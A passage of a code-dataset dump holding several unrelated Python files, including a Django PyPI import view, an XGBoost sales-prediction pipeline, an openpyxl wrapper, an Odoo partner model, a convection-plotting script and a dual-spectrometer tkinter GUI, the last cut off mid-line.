etc.\")\n\n def clean_requirements(self):\n requirements = self.cleaned_data['requirements']\n for line in requirements.splitlines():\n if line.strip().startswith('['):\n raise forms.ValidationError(\"Sections aren't supported\")\n\n try:\n list(pkg_resources.parse_requirements(requirements))\n except ValueError as e:\n raise forms.ValidationError(u' '.join(e))\n\n return requirements\n\n\n@require_http_methods(['HEAD', 'GET', 'POST'])\ndef index(request):\n if request.method == 'POST':\n form = RequiresForm(request.POST)\n if form.is_valid():\n importer.tasks.ensure_requirements.delay(\n form.cleaned_data['requirements'],\n form.cleaned_data['recursive'])\n return HttpResponseRedirect('/')\n else:\n form = RequiresForm()\n\n return render(request, 'importer/index.html', {\n 'title': 'Import packages from PyPI',\n 'form': form,\n })\n","sub_path":"yolapi/importer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"309240861","text":"import pandas as pd\nfrom pipeline.my_pipe import MyPipeline\nfrom util_functions import *\n\nxgb_params = {\n \"max_depth\":6,\n \"learning_rate\":0.25,\n \"n_estimators\":10,\n \"objective\":'binary:logistic',\n \"booster\":'gbtree',\n \"n_jobs\":4,\n \"nthread\":None,\n \"gamma\":0,\n \"min_child_weight\":1,\n \"max_delta_step\":0,\n \"subsample\":1,\n \"colsample_bytree\":1,\n \"colsample_bylevel\":1,\n \"reg_alpha\":0,\n \"reg_lambda\":1,\n \"scale_pos_weight\":1,\n \"base_score\":0.5,\n \"random_state\":0,\n \"seed\":None,\n \"missing\":None,\n \"use_label_encoder\":False,\n \"eval_metric\":\"logloss\"\n } \n\n# Columnas Borradas al Comienzo\ncolumns_filtered = [\n #\"Account_Created_Date\",\n #\"Last_Activity\",\n #\n \"ID\", # Useless\n \"Submitted_for_Approval\", # Empty\n \"Opportunity_Name\", # Useless\n \"Sales_Contract_No\", # Leakage\n \"Last_Activity\", # Empty\n \"Prod_Category_A\", # Empty\n \"Brand\", # Maybe-Useless\n \"Product_Type\", # Maybe-Useless\n \"Size\", # Maybe-Useless\n \"Product_Category_B\", # Maybe-Useless\n \"Price\", # Maybe-Useless\n \"Currency\", # Maybe-Useless\n \"Product_Family\", # High Cardinality, Low Importance\n \"Account_Name\" # High Cardinality, Might make noise\n \"Account_Owner\", # High Cardinality, Might make noise\n \"Opportunity_Owner\", # High Cardinality, Might make noise\n \"Billing_Country\" # High Cardinality, Might make noise\n ]\n\n# Columnas Borradas al final\ncolumns_removed = [\n \"Opportunity_Created_Date\", # Leakage\n \"Planned_Delivery_Start_Date\", # Engineered\n \"Planned_Delivery_End_Date\", # Engineered\n \"Total_Taxable_Amount\", # Replaced\n \"Opportunity_ID\" # Irrelevant\n ]\n\ncolumns_to_label = [\n \"Quote_Type\",\n]\n\ncolumns_to_one_hot = [\n \"Region\",\n \"Bureaucratic_Code\",\n \"Account_Type\",\n \"Opportunity_Type\",\n \"Delivery_Terms\",\n ]\n\ndef preprocess(pipe, X):\n # Remove ignored columns\n pipe.apply_column_filter(columns_filtered)\n pipe.apply_pre_function(prefix_columns)\n pipe.apply_pre_function(fill_nones)\n\n # Change types to correct value\n preprocess_dates(pipe)\n\n # Apply data filling\n impute_all(pipe, X, set(columns_filtered))\n pipe.apply_labeling(columns_to_label)\n pipe.apply_one_hot(columns_to_one_hot)\n\n # Apply various functions\n pipe.apply_function(delete_old_registers)\n pipe.apply_function(insert_negotiation_length)\n pipe.apply_function(insert_client_age)\n pipe.apply_function(preprocess_amounts_blocks)\n pipe.apply_function(preprocess_delivery_dates)\n pipe.apply_function(sort_by_dates)\n pipe.apply_function(unify_coins)\n pipe.apply_function(groupby_opp_id)\n pipe.apply_function(drop_categoricals)\n\n # Remove non-numerical columns\n pipe.apply_remove_columns(columns_removed)\n\n\ndef main():\n X_train = pd.read_csv(\"../Datos/Train_TP2_Datos_2020-2C.csv\")\n X_test = pd.read_csv(\"../Datos/Test_TP2_Datos_2020-2C.csv\")\n\n X_train = X_train.loc[(X_train[\"Stage\"] == \"Closed Won\")|(X_train[\"Stage\"] == \"Closed Lost\"),:]\n X_train[\"Stage\"] = X_train['Stage'].apply(lambda x: 1 if x == 'Closed Won' else 0)\n\n pipe = MyPipeline(X_train, X_test)\n\n preprocess(pipe, X_train)\n set_xgb_model(pipe, xgb_params)\n pipe.set_time_folds(10)\n pipe.preprocess()\n pipe.train_xgb(verbose=True)\n #pipe.predict()\n pipe.score_xgb(verbose=True)\n pipe.output()\n #pipe.submit()\n print(\"TODO OK\")\n\nmain()\n","sub_path":"Tp 2/Modelos/boost_model_v19.py","file_name":"boost_model_v19.py","file_ext":"py","file_size_in_byte":3530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"583703422","text":"tab = ['zero ', 'jeden ', 'dwa ', 'trzy ', 'cztery ', 'pięć ', 'sześć ', 'siedem ', 'osiem ', 'dziewięć ']\nli = input('Liczba: ')\ndl = len(li)\nwynik = ''\npom = 0\n\nfor x in range(dl):\n pom = int(li[x])\n wynik += tab[pom]\n \nprint(f'{li} - {wynik}')\n \n \n\n\n","sub_path":"02-ControlStructures/02.33..py","file_name":"02.33..py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"304538129","text":"# -*- coding:utf-8 -*-\n\n__author__ = \"Lakisha\"\n\nimport os\nfrom openpyxl import Workbook, load_workbook\n\n#excel自定义封装\nclass LQOpenXL:\n def __init__(self, path, read_only=False):\n self.wb = None\n if os.path.exists(path):\n self.path = path\n self.wb = load_workbook(self.path, read_only=read_only)\n else:\n print(\"%s 文件不存在\"%path)\n exit(0)\n\n #获取excel的行数\n def get_cell_row(self, sheet):\n if self.wb:\n #先通过sheet获取工作簿\n sh = self.wb.get_sheet_by_name(sheet)\n if sh:\n return sh.max_row\n return None\n\n #获取excel的列数\n def get_cell_col(self, sheet):\n if self.wb:\n #先通过sheet获取工作簿\n sh = self.wb.get_sheet_by_name(sheet)\n if sh:\n return sh.max_column\n return None\n\n #获取工作簿名称列表\n def get_sheets_name(self):\n if self.wb:\n return self.wb.get_sheet_names()\n return None\n\n #通过索引获取工作簿名\n def get_sheet_name_by_index(self, index):\n if self.wb:\n sheets = self.wb.get_sheet_names()\n sheet_len = len(sheets)\n\n if index >= 0 and index < sheet_len:\n return sheets[index]\n return None\n\n # 创建工作簿\n def creat_sheet(self, name, index=0):\n res = False\n if self.wb:\n self.wb.create_sheet(title=name, index=index)\n res = True\n return res\n\n #修改工作簿名\n def set_sheet_name(self, sheet_name, name):\n res = False\n if self.wb:\n self.wb[sheet_name].title = name\n res = True\n return res\n\n #获取单元格值\n def get_cell_value(self,sheet, row, column):\n value = None\n if self.wb:\n value = self.wb[sheet].cell(row=row, column=column).value\n return value\n\n #设置单元格值\n def set_cell_value(self, sheet, row, col, value):\n res = False\n if self.wb:\n self.wb[sheet].cell(row=row, column=col).value = value\n res = True\n return res\n\n def save(self, path=\"\"):\n if path !=\"\":\n self.path = path\n if self.wb:\n self.wb.save(self.path)\n\nif __name__ == \"__main__\":\n print(\"python openxl基本实例\")\n print(\"---\"*20, end=\"\\n\")\n\n xl = LQOpenXL(\"openpyxl_demo.xlsx\")\n\n #获取所有工作簿名\n sheets = xl.get_sheets_name()\n print(\"获取的工作簿列表\", sheets, end=\"\\n\")\n\n #获取工作簿中所有的数据\n for sheet in sheets:\n nrows = xl.get_cell_row(sheet)\n ncols = xl.get_cell_col(sheet)\n print(\"---\"*20, end=\"\\n\")\n for row in range(1, nrows+1):\n for col in range(1, ncols+1):\n value = xl.get_cell_value(sheet, row, col)\n print(\"[%d, %d]->%s\" % (row, col, value), end=\"\\t\")\n\n #修改各工作簿第一行的数据为:DeepTest\n for sheet in sheets:\n ncols = xl.get_cell_col(sheet)\n for col in range(1, ncols+1):\n xl.set_cell_value(sheet,row=1,col=col, value=\"DeetTest\")\n\n xl.save()","sub_path":"第一期/无锡-慕兮/Task3/day_5/LQOpenxl.py","file_name":"LQOpenxl.py","file_ext":"py","file_size_in_byte":3228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"562010808","text":"# -*- coding: utf-8 -*-\n###############################################################################\n#\n# OpenERP, Open Source Management Solution\n# Copyright (C) 2015 - Today => Morales Rosas\n#\n###############################################################################\n#\n# Coded by: Lázaro Rodríguez Triana\n# Skype : lazarus.d\n# E-mail: lazaro@outlook.com\n###############################################################################\n\n\nfrom openerp import models, fields, api, _\nfrom datetime import date, datetime\nimport time\n\n\nclass ClienteTipo(models.Model):\n\n _name = 'cliente.tipo'\n\n name = fields.Char(string='Tipo')\n\n\nclass PaqueteContratado(models.Model):\n\n _name = 'paquete.contratado'\n\n name = fields.Char(string='Paquete')\n\n\nclass AniosRegalo(models.Model):\n\n _name = 'anios.regalo'\n\n name = fields.Char(string='Años')\n\n\nclass ResPartner(models.Model):\n\n _inherit = 'res.partner'\n\n cliente_tipo = fields.Many2one(\n comodel_name='cliente.tipo',\n string='Tipo')\n multi_pago = fields.Selection([\n ('no', 'No'),\n ('si', 'Si'),\n ], string='Multipago')\n paquete = fields.Many2one(\n comodel_name='paquete.contratado',\n string='Paquete contratado')\n anio_regalo = fields.Many2one(\n comodel_name='anios.regalo',\n string='Años regalo')\n\n asegurado_ids = fields.One2many(\n comodel_name='res.partner.asegurado',\n inverse_name='partner_id',\n string='Asegurados')\n\n\nclass ResPartnerAsegurado(models.Model):\n\n _name = 'res.partner.asegurado'\n\n fecha_ingreso = fields.Date(string='Fecha Ingreso')\n name = fields.Char(string='Nombre del asegurado')\n odontograma = fields.Selection([\n ('completo', 'Completo'),\n ('incompleto', 'Incompleto'),\n ('falta', 'Falta información'),\n ], string='Odontograma')\n historia_clinica = fields.Selection([\n ('completo', 'Completo'),\n ('incompleto', 'Incompleto'),\n ('falta', 'Falta información'),\n ], string='Historia Clínica')\n contrato = fields.Selection([\n ('completo', 'Completo'),\n ('incompleto', 'Incompleto'),\n ('falta', 'Falta información'),\n ], string='Contrato')\n consentimiento = fields.Selection([\n ('completo', 'Completo'),\n ('incompleto', 'Incompleto'),\n ('falta', 'Falta información'),\n ], string='Consentimiento')\n aviso = fields.Selection([\n ('completo', 'Completo'),\n ('incompleto', 'Incompleto'),\n ('falta', 'Falta información'),\n ], string='Aviso')\n comentarios = fields.Text(string='Comentarios')\n fecha_kit = fields.Date(string='Fecha de entrega Kit')\n responsable_kit = fields.Char(string='Responsable del Kit')\n numero_certificado = fields.Char(string='Número de certificado')\n status_asegurado = fields.Selection([\n ('criopreservado', 'Criopreservado'),\n ('baja', 'Baja'),\n ], string='Status asegurado')\n code = fields.Char(string='Código')\n partner_id = fields.Many2one(\n comodel_name='res.partner',\n string='Partner')\n","sub_path":"moralesrosas_store_cell_partner/models/partner.py","file_name":"partner.py","file_ext":"py","file_size_in_byte":3153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"119532542","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# \n\nfrom __future__ import print_function\nfrom __future__ import division\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pyvista as pv\nimport os\nimport sys\n\n# Set figure font globally to serif\nplt.rcParams[\"font.family\"] = \"serif\"\n\n# Change default figure DPI; remove for lower DPI displays (default = 100dpi)\nplt.rcParams[\"figure.dpi\"] = 250 \n\ndef main():\n # time start, end etc.\n start = 670\n end = 677.5\n dt = 0.5\n times = np.arange(start,end+dt,dt)\n \n # fluid & domain properties\n deltaB = 0.0654\n kappa = 3.041e-06\n H = 1.0\n \n for time in times:\n print(\"Time = %.12g\" % (time))\n print(\"Loading fields\")\n ## grid is the central object in VTK where every field is added on to grid\n grid = pv.UnstructuredGrid(\"./VTK/Ra_1e+10_H1_gradedMeshDNS_init_Y800_X1600_t670_%.12g.vtk\" % (time)) \n \n # get cell points\n points = grid.points\n xPts = np.unique(points[:,0])\n yPts = np.unique(points[:,1])\n zPts = np.unique(points[:,2])\n\n # get cell centbuoyancy_cellCentre_t670.pngres\n centres = grid.cell_centers().points\n xCts = np.unique(centres[:,0])\n yCts = np.unique(centres[:,1])\n zCts = np.unique(centres[:,2])\n \n # load buoyancy (permuted to change indexing: Y, Z, X -> X, Y, Z)\n b = np.transpose(grid.cell_arrays['b'].reshape((len(yCts),len(zCts),len(xCts))),(2,0,1))\n bf = np.transpose(grid.point_arrays['b'].reshape((len(yPts),len(zPts),len(xPts))),(2,0,1))\n u = np.transpose(grid.cell_arrays['u'].reshape((len(yCts),len(zCts),len(xCts),3)),(2,0,1,3))\n gradB = np.transpose(grid.cell_arrays['grad(b)'].reshape((len(yCts),len(zCts),len(xCts),3)),(2,0,1,3))\n \n ## calculate heat flux & add to VTK grid\n heatFlux = grid.cell_arrays['u']*grid.cell_arrays['b'][:,np.newaxis] - kappa*grid.cell_arrays['grad(b)']\n grid._add_cell_array(heatFlux, 'heatFlux')\n # normalise & convert to numpy for plotting\n heatFlux = np.transpose(heatFlux.reshape((len(yCts),len(zCts),len(xCts),3)),(2,0,1,3)) / ( kappa*deltaB / H )\n \n # plot\n print(\"Plotting buoyancy\")\n plt.figure(figsize=(10,5))\n plt.pcolormesh(xCts,zCts,(b[:,0,:].transpose() / deltaB),cmap=\"magma\")\n plt.colorbar(label=r\"$b\\ /\\ \\Delta B$\")\n plt.xlabel(r\"$x\\ /\\ H$\")\n plt.ylabel(r\"$z\\ /\\ H$\")\n plt.savefig(\"buoyancy_cellCentre_t%.12g.png\" % (np.where(times == time)[0][0]))\n plt.close()\n \n plt.figure(figsize=(10,5))\n plt.pcolormesh(xPts,zPts,(bf[:,0,:].transpose() / deltaB),cmap=\"magma\")\n plt.colorbar(label=r\"$b\\ /\\ \\Delta B$\")\n plt.xlabel(r\"$x\\ /\\ H$\")\n plt.ylabel(r\"$z\\ /\\ H$\")\n plt.savefig(\"buoyancy_cellFace_t%.12g.png\" % (np.where(time == time)[0][0]))\n plt.close()\n \n print(\"Plotting vertical velocity\")\n plt.figure(figsize=(10,5))\n plt.pcolormesh(xCts,zCts,(u[:,0,:,2].transpose() / np.sqrt(deltaB*H)),cmap=\"RdBu_r\")\n plt.colorbar(label=r\"$w\\ /\\ \\sqrt{\\Delta B\\ H}$\")\n plt.xlabel(r\"$x\\ /\\ H$\")\n plt.ylabel(r\"$z\\ /\\ H$\")\n plt.savefig(\"w_cellCentre_t%.12g.png\" % (np.where(time == time)[0][0]))\n plt.close()\n \n print(\"Plotting heat flux\")\n plt.figure(figsize=(10,5))\n plt.pcolormesh(xCts,zCts,(heatFlux[:,0,:,2].transpose()),cmap=\"magma\")\n plt.colorbar(label=r\"Nu\")\n plt.xlabel(r\"$x\\ /\\ H$\")\n plt.ylabel(r\"$z\\ /\\ H$\")\n plt.savefig(\"heatFlux_cellCentre_t%.12g.png\" % (np.where(time == time)[0][0]))\n plt.close()\n \n plt.figure(figsize=(10,5))\n plt.plot(np.mean(heatFlux[:,0,:,2], axis=0), zCts)\n plt.ylabel(r\"$z\\ /\\ H$\")\n Nu = np.average(np.mean(heatFlux[:,0,:,2], axis=0), weights=np.diff(zPts))\n print(\"Nu = %f\" % (Nu))\n plt.title(\"Nu = %f\" % (Nu))\n plt.savefig(\"heatFlux_cellCentre_zProfile_t%.12g.png\" % (np.where(time == time)[0][0]))\n plt.close()\n \n print(\"End\")\n\n return 0;\n\nmain()\n\n","sub_path":"partitioned/RayleighBenard/singleColumn/Ra_1e+10_multiFluidBoussinesqFoam_symmetricBCs_nonUniformSigma_sigmaConst_0_5_divTransfer_gamma_2_e-4_noDrag_buoyancyAnomaly_meanFactor_0_spinUp_energyDimPressureTerm_CN_0_55_largeDeltaT/get2Dfields.py","file_name":"get2Dfields.py","file_ext":"py","file_size_in_byte":4155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"562572125","text":"'''\n\nThis program is designed to control two Ocean Optics Spectrometers simultaneously, with \nseparate control over coadding and integration time. \n\nCreated: August 2017\n\nLast update: August 2017\n\nContact: Ben Esse, Postgraduate Research Student, University of Manchester\nEmail: benjamin.esse@manchester.ac.uk\n\n'''\n\n# Import required libraries\nfrom tkinter import ttk\nimport tkinter as tk\nimport os\nimport seabreeze.spectrometers as sb\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\nimport numpy as np\nimport datetime\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\nfrom threading import Thread\nfrom queue import Queue\n\nfrom updash_lib.read_spectro_thread import read_spectro\nfrom updash_lib.file_control import make_directory\n\n# Define some fonts to use in the program\nNORM_FONT = ('Verdana', 10)\nLARG_FONT = ('Verdana', 12, 'bold')\n\nclass mygui(tk.Tk):\n \n def __init__(self, *args, **kwargs):\n \n # Create GUI in the backend\n tk.Tk.__init__(self, *args, **kwargs)\n \n # Add a title and an icon\n tk.Tk.wm_title(self, 'Dual Spectrometer Gui')\n tk.Tk.iconbitmap(self, default = 'logo.ico')\n \n # Create the container to hold the gui\n container = tk.Frame(self)\n container.grid()\n container.grid_rowconfigure(0, weight = 1)\n container.grid_columnconfigure(0, weight = 1)\n\n#========================================================================================\n#================================Set initial fit parameters==============================\n#========================================================================================\n\n # Set running to false. This parameter controls whether the program is acquiring\n # spectra or not\n self.running = False\n \n # Find spectrometerss connected to the computer\n self.devices = sb.list_devices()\n\n # If no devices are connected then set string to show. Else assign first to spec\n if len(self.devices) == 0:\n self.spec = 0\n self.spec_name0 = 'No devices connected'\n self.spec_name1 = 'No devices connected'\n self.devices = ['No devices connected']\n else:\n self.spec0 = sb.Spectrometer(self.devices[0])\n self.spec_name0 = str(self.spec0.serial_number)\n self.spec1 = sb.Spectrometer(self.devices[1])\n self.spec_name1 = str(self.spec1.serial_number)\n \n#========================================================================================\n#================================Define acquisition params===============================\n#========================================================================================\n \n#====================================First Spectrometer==================================\n \n # Create label to display the spectrometer name\n self.label_dev0 = ttk.Label(self, text=\"Device: \" + str(self.spec_name0), \n font = NORM_FONT)\n self.label_dev0.grid(row=0, column=0, pady=5, padx=5, columnspan=2)\n \n # Create label and entry to control the integration time\n self.integration_time0 = tk.StringVar(value = 100)\n self.label_intime0 = ttk.Label(self, text = 'Integration time (ms):', \n font = NORM_FONT)\n self.label_intime0.grid(row=9, column=0, pady=5, padx=10, sticky='E')\n self.ent_intime0 = ttk.Entry(self, textvariable = self.integration_time0)\n self.ent_intime0.grid(row=9, column=1, pady=5, padx=10, sticky='W')\n \n # Create label and entry to control the number of coadds\n self.coadds0 = tk.StringVar(value = 10)\n self.label_coadds0 = ttk.Label(self,text = 'Number of coadds:', font = NORM_FONT)\n self.label_coadds0.grid(row=10, column=0, pady=5, padx=10, sticky='E')\n self.ent_coadds0 = ttk.Entry(self, textvariable = self.coadds0)\n self.ent_coadds0.grid(row=10, column=1, pady=5, padx=10, sticky='W')\n \n # Create label, entry to control the number of dark spectra to take\n self.dark_no0 = tk.IntVar(value = 10)\n self.label_dark0 = ttk.Label(self, text = 'Number of dark spectra:',\n font = NORM_FONT)\n self.label_dark0.grid(row=11, column=0, pady=5, padx=10, sticky='E')\n self.ent_dark0 = ttk.Entry(self, textvariable = self.dark_no0)\n self.ent_dark0.grid(row=11, column=1, pady=5, padx=10, sticky='W') \n\n#====================================Second Spectrometer=================================\n \n # Create label to display the spectrometer name\n self.label_dev1 = ttk.Label(self, text=\"Device: \" + str(self.spec_name1), \n font = NORM_FONT)\n self.label_dev1.grid(row=0, column=2, pady=5, padx=5, columnspan=2)\n\n # Create label and entry to control the integration time\n self.integration_time1 = tk.StringVar(value = 100)\n self.label_intime1 = ttk.Label(self, text = 'Integration time (ms):',\n font = NORM_FONT)\n self.label_intime1.grid(row=9, column=2, pady=5, padx=10, sticky='E')\n self.ent_intime1 = ttk.Entry(self, textvariable = self.integration_time1)\n self.ent_intime1.grid(row=9, column=3, pady=5, padx=10, sticky='W')\n \n # Create label and entry to control the number of coadds\n self.coadds1 = tk.StringVar(value = 10)\n self.label_coadds1 = ttk.Label(self,text = 'Number of coadds:', font = NORM_FONT)\n self.label_coadds1.grid(row=10, column=2, pady=5, padx=10, sticky='E')\n self.ent_coadds1 = ttk.Entry(self, textvariable = self.coadds1)\n self.ent_coadds1.grid(row=10, column=3, pady=5, padx=10, sticky='W')\n \n # Create label, entry to control the number of dark spectra to take\n self.dark_no1 = tk.IntVar(value = 10)\n self.label_dark1 = ttk.Label(self, text = 'Number of dark spectra:', \n font = NORM_FONT)\n self.label_dark1.grid(row=11, column=2, pady=5, padx=10, sticky='E')\n self.ent_dark1 = ttk.Entry(self, textvariable = self.dark_no1)\n self.ent_dark1.grid(row=11, column=3, pady=5, padx=10, sticky='W')\n \n \n \n # Create label and entry to control the filepath to save the spectra to\n fpath_str = 'Results/' + str(datetime.date.today()) + '/spectro_gui_out/'\n self.file_path = tk.StringVar(value = fpath_str)\n self.label_fp = ttk.Label(self, text = 'File path:', font = NORM_FONT)\n self.label_fp.grid(row=6, column=5, pady=5, padx=10, sticky='E')\n self.ent_fp = ttk.Entry(self, textvariable = self.file_path)\n self.ent_fp.grid(row=6, column=6, pady=5, padx=10, sticky='W')\n \n#========================================================================================\n#===============================Create buttons to control app============================\n#========================================================================================\n\n # Create button to start and stop acquisition\n self.start_button = tk.Button(self, text = 'START',\n command = self.start_stop, width = 14, height = 3, \n font = LARG_FONT, bg = 'green')\n self.start_button.grid(row=1, column=5, pady=5, padx=5, columnspan = 2)\n\n # Create button to read once from the spectrometer\n self.acquire_button = tk.Button(self,text=\"Read single\",command=self.read_single,\n width = 14, height = 3, font = LARG_FONT)\n self.acquire_button.grid(row=2, column=5, pady=5, padx=5, columnspan = 2)\n \n # Create button to read the dark spectra\n self.dark_button = tk.Button(self, text=\"Read dark\", command=self.read_dk,\n width = 14, height = 3, font = LARG_FONT)\n self.dark_button.grid(row=3, column=5, pady=5, padx=5, columnspan = 2)\n \n # Create button to update the filepath to save spectra to\n self.button_fp = tk.Button(self, text = 'Update filepath',\n command = self.folder_update, width = 14, height = 3,\n font = LARG_FONT)\n self.button_fp.grid(row=4, column=5, pady=5, padx=5, columnspan = 2)\n \n # Create button to close the window\n self.close_button = tk.Button(self, text=\"Close\", command=self.quit, width = 14, \n height = 3, font = LARG_FONT)\n self.close_button.grid(row=5, column=5, pady=5, padx=5, columnspan = 2)\n\n#========================================================================================\n#============================Create text box to print updates============================\n#========================================================================================\n \n # Create a scroll bar\n scrollbar = ttk.Scrollbar(self)\n scrollbar.grid(row=7, column=8, rowspan = 6, sticky='NSE')\n\n # Create a text box to log messages for the user\n self.textbox = tk.Text(self, width = 40, height = 10, font = NORM_FONT,\n yscrollcommand = scrollbar.set)\n self.textbox.grid(row = 7, column = 5, columnspan = 2, rowspan = 6)\n \n # Connect the scrollbar to the textbox\n scrollbar.config(command = self.textbox.yview)\n \n#========================================================================================\n#====================================Create plot canvas==================================\n#======================================================================================== \n \n # Create figure to hold the graphs\n plt.rcParams.update({'font.size': 10} )\n self.fig = plt.figure(figsize = (10,5))\n gs = gridspec.GridSpec(1,2)\n \n # Create plot axes\n self.ax0 = self.fig.add_subplot(gs[0])\n self.ax1 = self.fig.add_subplot(gs[1])\n \n # Set axis labels\n self.ax0.set_ylabel('Intensity (arb)')\n self.ax0.set_xlabel('Wavelength (nm)')\n \n self.ax1.set_xlabel('Wavelength (nm)')\n \n # Create lines to plot data series\n \n # Spectral data\n self.line0, = self.ax0.plot(0, 0, 'b')\n self.line1, = self.ax1.plot(0, 0, 'b')\n \n # Pack into arrays to pass to plotting function\n self.lines = [self.line0, self.line1]\n self.axes = [self.ax0, self.ax1 ]\n \n # Make it look nice\n plt.tight_layout()\n \n # Create the canvas to hold the graph in the GUI\n self.canvas = FigureCanvasTkAgg(self.fig, self)\n self.canvas.show()\n self.canvas.get_tk_widget().grid(row=1,column=0,padx=10,\n columnspan = 4, rowspan = 7)\n \n '''\n # Add matplotlib toolbar above the plot canvas\n toolbar_frame = tk.Frame(self, bg = 'black') \n toolbar_frame.grid(row=0,column=3, sticky = 'W') \n toolbar = NavigationToolbar2TkAgg(self.canvas, toolbar_frame)\n toolbar.update()\n '''\n \n#========================================================================================\n#==================================Make output directory=================================\n#========================================================================================\n \n # Create directory to hold program outputs\n self.results_folder = self.ent_fp.get()\n \n # Create the directory, changing the name to avoid overwritting data\n self.results_folder = make_directory(self.results_folder)\n \n # Update the filepath in the GUI\n self.ent_fp.delete(0, len(self.ent_fp.get()))\n self.ent_fp.insert(0,str(self.results_folder))\n \n # Create notes text file to log changes in bg/dark or other things\n notes_fname = self.ent_fp.get() + 'notes.txt'\n \n # Create notes file\n with open(notes_fname, 'w') as w:\n w.write('Notes file for dual_spectro_run.py output\\n\\n') \n \n#========================================================================================\n#==================================Start acquire looping=================================\n#======================================================================================== \n \n # Define arrays to hold so2 amounts and spectra number for plotting \n self.so2_amts = np.array(())\n self.loops = np.array(())\n\n # Create loop counter\n self.loop = 0\n \n # Call acquire after a second, it will loop in the background\n self.acquire()\n \n#======================================================================================== \n#========================================================================================\n#======================================Define functions==================================\n#========================================================================================\n#======================================================================================== \n\n\n\n#========================================================================================\n#========================================update text=====================================\n#========================================================================================\n\n # Define function to output text to the textbox and the notes file\n def write_text(self,text):\n \n # Add new line return to text\n text = text + '\\n\\n'\n \n # Write text with a new line\n self.textbox.insert(tk.END, text)\n \n # Scroll if needed\n self.textbox.see(tk.END)\n \n # Update notes file\n with open(self.ent_fp.get() + 'notes.txt', 'a') as a:\n a.write(text)\n \n#========================================================================================\n#=======================================folder_update====================================\n#========================================================================================\n\n # Define function to update the filepath input by the user\n def folder_update(self):\n \n # Create directory to hold data in\n self.results_folder = self.ent_fp.get()\n \n # Create the directory \n self.results_folder = make_directory(self.results_folder)\n \n self.ent_fp.delete(0, len(self.ent_fp.get()))\n self.ent_fp.insert(0,str(self.results_folder))\n \n # Create notes file\n with open(self.ent_fp.get() + 'notes.txt', 'w') as w:\n w.write('Notes file for dual_spectro_run.py output\\n\\n')\n \n#========================================================================================\n#=====================================Read spectro once==================================\n#========================================================================================\n\n # Read spectrometer once and display \n def read_single(self):\n \n # Create results queue\n result_queue = Queue()\n \n # Create threads\n t0 = Thread(target=read_spectro, args = (result_queue, \n self.spec0, \n int(self.ent_intime0.get()),\n int(self.ent_coadds0.get()),\n 2048,\n True,\n True))\n \n t1 = Thread(target=read_spectro, args = (result_queue, \n self.spec1, \n int(self.ent_intime1.get()),\n int(self.ent_coadds1.get()),\n 2048,\n True,\n True))\n \n # Begin threads\n t0.start()\n t1.start()\n \n # End threads\n t0.join()\n t1.join()\n \n # Unpack results\n thread_out = {}\n \n while not result_queue.empty():\n result = result_queue.get()\n thread_out[result[0]] = result[1]\n \n x0, y0, head0 = thread_out[str(self.spec0)]\n x1, y1, head1 = thread_out[str(self.spec1)]\n \n # Plot spectra\n self.line0.set_data(x0, y0)\n self.ax0.set_xlim(x0.min(), x0.max())\n self.ax0.set_ylim(y0.min(), y0.max())\n self.line1.set_data(x1, y1)\n self.ax1.set_xlim(x1.min(), x1.max())\n self.ax1.set_ylim(y1.min(), y1.max())\n self.canvas.draw()\n\n#========================================================================================\n#======================================Read dark spectra=================================\n#========================================================================================\n \n # Read the dark spectra \n def read_dk(self):\n \n # Update notes file\n self.write_text('Begin reading dark')\n print('Begin reading dark')\n \n # Create zero array to hold dark spectra\n self.dark0 = np.zeros(2048)\n self.dark1 = np.zeros(2048)\n \n # Define dark filepath\n dark_fp0 = self.ent_fp.get() + self.spec_name0 + '/dark/'\n dark_fp1 = self.ent_fp.get() + self.spec_name1 + '/dark/'\n \n # Create the directory \n dark_fp0 = make_directory(dark_fp0)\n dark_fp1 = make_directory(dark_fp1)\n \n # Loop over number of darks to collect\n for i in range(int(self.ent_dark0.get())):\n \n # Create filename\n n = str('{num:05d}'.format(num=i))\n fname0 = dark_fp0 + 'spectrum_' + n + '.txt'\n fname1 = dark_fp1 + 'spectrum_' + n + '.txt'\n \n # Create results queue\n result_queue = Queue()\n \n # Create threads\n t0 = Thread(target=read_spectro, args = (result_queue, \n self.spec0, \n int(self.ent_intime0.get()),\n int(self.ent_coadds0.get()),\n 2048,\n True,\n True))\n \n t1 = Thread(target=read_spectro, args = (result_queue, \n self.spec1, \n int(self.ent_intime1.get()),\n int(self.ent_coadds1.get()),\n 2048,\n True,\n True))\n \n # Begin threads\n t0.start()\n t1.start()\n \n # End threads\n t0.join()\n t1.join()\n \n # Unpack results\n thread_out = {}\n \n while not result_queue.empty():\n result = result_queue.get()\n thread_out[result[0]] = result[1]\n \n x0, y0, head0 = thread_out[str(self.spec0)]\n x1, y1, head1 = thread_out[str(self.spec1)]\n \n # Save the spectra\n np.savetxt(fname0, np.column_stack((x0,y0)), header = head0)\n np.savetxt(fname1, np.column_stack((x1,y1)), header = head1)\n \n # Sum up the darks\n self.dark0 = np.add(self.dark0, y0)\n self.dark1 = np.add(self.dark1, y1)\n \n # Divide by number of darks to get average\n self.dark0 = self.dark0 / int(self.ent_dark0.get())\n self.dark1 = self.dark1 / int(self.ent_dark1.get())\n \n # Display the dark spectra\n self.line0.set_data(x0, y0)\n self.ax0.set_xlim(x0.min() - 5, x0.max() + 5)\n self.ax0.set_ylim(y0.min(), y0.max())\n self.line1.set_data(x1, y1)\n self.ax1.set_xlim(x1.min() - 5, x1.max() + 5)\n self.ax1.set_ylim(y1.min(), y1.min())\n self.canvas.draw()\n \n # Update notes file\n self.write_text('Dark updated\\n' + \\\n 'Spectrum no: ' + str(self.loop) + '\\n' + \\\n 'Time: ' + str(datetime.datetime.now()) + '\\n' + \\\n 'No. darks: ' 